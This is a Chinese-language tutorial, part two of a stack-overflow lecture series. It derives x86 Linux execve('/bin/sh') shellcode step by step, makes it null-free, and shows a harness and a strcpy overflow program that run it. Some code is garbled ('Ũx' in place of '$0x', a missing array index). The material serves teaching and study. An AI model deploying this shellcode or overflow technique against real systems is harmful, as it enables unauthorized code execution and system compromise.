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堆栈溢出系列讲座(2)

如何书写一个shell code 一:shellcode基本算法分析 在程序中,执行一个shell的程序是这样写的: shellcode.c ------------------------------------------------------------------------ ----- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------ ------ execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。 我们来看以看execve的汇编代码: [nkl10]$ gcc -o shellcode -static shellcode.c [nkl10]$ gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp ; 0x80002bd <__execve+1>: movl %esp,%ebp ;上面是函数头。 0x80002bf <__execve+3>: pushl %ebx ;保存ebx 0x80002c0 <__execve+4>: movl Ũxb,%eax ;eax=0xb,eax指明第几号系统调用。 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx ;ebp+8是第一个参数"/bin/sh\0" 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx ;ebp+12是第二个参数name数组的地址 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx ;ebp+16是第三个参数空指针的地址。 ;name[2-1]内容为NULL,用来存放返回值。 0x80002ce <__execve+18>: int Ũx80 ;执行0xb号系统调用(execve) 0x80002d0 <__execve+20>: movl %eax,%edx ;下面是返回值的处理就没有用了。 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl Ũxffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. 经过以上的分析,可以得到如下的精简指令算法: movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int Ũx80 ;执行系统调用(execve) 当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。 我们来看以看exit(0)的汇编代码: (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl Ũx1,%eax ;1号系统调用 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0 0x8000358 <_exit+12>: int Ũx80 ;引发系统调用 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. 看来exit(0)〕的汇编代码更加简单: movl Ũx1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int Ũx80 ;引发系统调用 那么总结一下,合成的汇编代码为: movl $execve的系统调用号,%eax movl "bin/sh\0"的地址,%ebx movl name数组的地址,%ecx movl name[n-1]的地址,%edx int Ũx80 ;执行系统调用(execve) movl Ũx1,%eax ;1号系统调用 movl 0,%ebx ;ebx为exit的参数0 int Ũx80 ;执行系统调用(exit) 二:实现一个shellcode 好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。 通过JMP和call的结合,黑客们巧妙的解决了这个问题。 ------------------------------------------------------------------------ ------ jmp call的偏移地址 # 2 bytes popl %esi # 1 byte //popl出来的是string的地址。 movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组, //name[0]放 string的地址 movb Ũx0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 尾。 movl Ũx0,null-offset(%esi) # 7 bytes //name[1]放0。 movl Ũxb,%eax # 5 bytes //eax=0xb是execve的syscall代码 。 movl %esi,%ebx # 2 bytes //ebx=string的地址 leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址 leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址 int Ũx80 # 2 bytes //int 0x80是sys call movl Ũx1, %eax # 5 bytes //eax=0x1是exit的syscall代码 movl Ũx0, %ebx # 5 bytes //ebx=0是exit的返回值 int Ũx80 # 2 bytes //int 0x80是sys call call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 作 //为返回地址压栈。 /bin/sh 字符串 ------------------------------------------------------------------------ ------ 首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造name数组(两个整数,八个字节)。 我们可以写shellcode了。先写出汇编源程序。 shellcodeasm.c ------------------------------------------------------------------------ ------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb Ũx0,0x7(%esi) # 4 bytes movl Ũx0,0xc(%esi) # 7 bytes movl Ũxb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int Ũx80 # 2 bytes movl Ũx1, %eax # 5 bytes movl Ũx0, %ebx # 5 bytes int Ũx80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------ ------ 编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。 下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序) test.c ------------------------------------------------------------------------ ------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; //ret 等于main()的返回地址 //(+2是因为:有pushl ebp ,否则加1就可以了。) (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地 址。 } ------------------------------------------------------------------------ ------ ------------------------------------------------------------------------ ------ [nkl10]$ gcc -o test test.c [nkl10]$ ./test $ exit [nkl10]$ ------------------------------------------------------------------------ ------ 我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。 运行结果,得到了bsh的提示符$,表明成功的开了一个shell。 这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。 这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以"\0" 为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此, 对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符 出现的。 因此,有些指令需要修改一下: 旧的指令 新的指令 -------------------------------------------------------- movb Ũx0,0x7(%esi) xorl %eax,%eax molv Ũx0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl Ũxb,%eax movb Ũxb,%al -------------------------------------------------------- movl Ũx1, %eax xorl %ebx,%ebx movl Ũx0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- 最后的shellcode为: ------------------------------------------------------------------------ ---- char shellcode[]= 00 "\xeb\x1f" /* jmp 0x1f */ 02 "\x5e" /* popl %esi */ 03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */ 06 "\x31\xc0" /* xorl %eax,%eax */ 08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */ 0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ 0e "\xb0\x0b" /* movb Ũxb,%al */ 10 "\x89\xf3" /* movl %esi,%ebx */ 12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ 15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ 18 "\xcd\x80" /* int Ũx80 */ 1a "\x31\xdb" /* xorl %ebx,%ebx */ 1c "\x89\xd8" /* movl %ebx,%eax */ 1e "\x40" /* inc %eax */ 1f "\xcd\x80" /* int Ũx80 */ 21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */ 26 "/bin/sh"; /* .string \"/bin/sh\" */ ------------------------------------------------------------------------ ---- 三:利用堆栈溢出获得shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, 我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 overflow1.c ------------------------------------------------------------------------ ------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string = shellcode; strcpy(buffer,large_string); } ------------------------------------------------------------------------ ------ 在执行完strcpy后,堆栈内容如下所示: 内存底部 内存顶部 buffer EBP ret <------ [SSS...SSSA ][A ][A ]A..A ^&buffer 栈顶部 堆栈底部 注:S表示shellcode。 A表示shellcode的地址。 这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的shellcode。

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